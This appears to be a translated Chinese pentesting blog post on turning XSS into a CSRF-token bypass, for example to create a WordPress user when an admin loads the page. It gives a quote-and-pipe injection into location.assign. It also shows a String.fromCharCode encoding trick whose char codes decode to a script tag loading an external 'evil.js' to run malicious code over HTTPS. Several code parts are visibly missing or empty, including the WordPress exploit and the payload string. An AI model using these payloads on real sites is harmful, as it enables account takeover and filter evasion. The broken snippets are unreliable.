在验证目标网站应用的xss漏洞时,我一般不会选择弹框的方式。
我觉得最好的payloads是利用需要认证的功能,比如当管理员登录时就新建一个用户。
其他有用的payloads取决于应用本身,比如在购物应用中购买一个商品或者在拍卖应用中竞价。
这些攻击其实是一种有效的CSRF攻击。
现在很多应用都增加了CSRF token来防止CSRF攻击。
如果应用存在xss攻击,那么这种防护通常可以被绕过。
以下就是利用xss漏洞来绕过CSRF防御在WordPress中添加用户的例子。需要管理员执行才能生效。
//Use this to exploit XSS to compromise the application.
// just use the XSS payload of
我曾经遇到一个应用,防御做的非常好,几乎过滤了所有的xss payload,但我还是成功的通过一个参数将payload插入到一个事件处理器中。
这个处理器使用location.assign来重定向用户,而且用户提供的参数值是通过URL传递的。要突破location.assign的限制,我们需要一个单引号和一个管道来执行额外的js函数。
请求如下:
GET /function?parameter=value'|alert(1)|'&Print=Yes
结果如下:
1
在HTML环境中,这会执行alert payload。
为了绕过xss过滤器和不适用任何单引号和双引号,我选择使用document.write和字符编码的方式来写入script标签。
几行python代码就可以编写一个合适的payload:
>> payload = ""
>>> inject = 'document.write(String.fromCharCode('+",".join([str(ord(n)) for n in payload])+'))'
>>> inject
'document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,115,58,47,47,119,119,119,46,110,48,48,112,121,46,105,111,47,101,118,105,108,46,106,115,39,62,60,47,115,99,114,105,112,116,62))'
如果上述代码中”inject”的值转成了alert(1),那我们的payload就会干以下事情:
1.把charcode数据转换成字符串()
2.执行时把script标签写入到web页面中
3.script标签会加在外部js脚本并执行
4.外部js脚本会绕过成功绕过CSRF防护
通过使用String.fromCharCode函数,任何payload都可以写入到web页面中,不用担心黑名单对特殊字符的限制。保证你的恶意js脚本能通过https传输也很重要。如果你发现一个使用https协议的网站存在xss漏洞,你的payload要能够通过https来避免被屏蔽掉。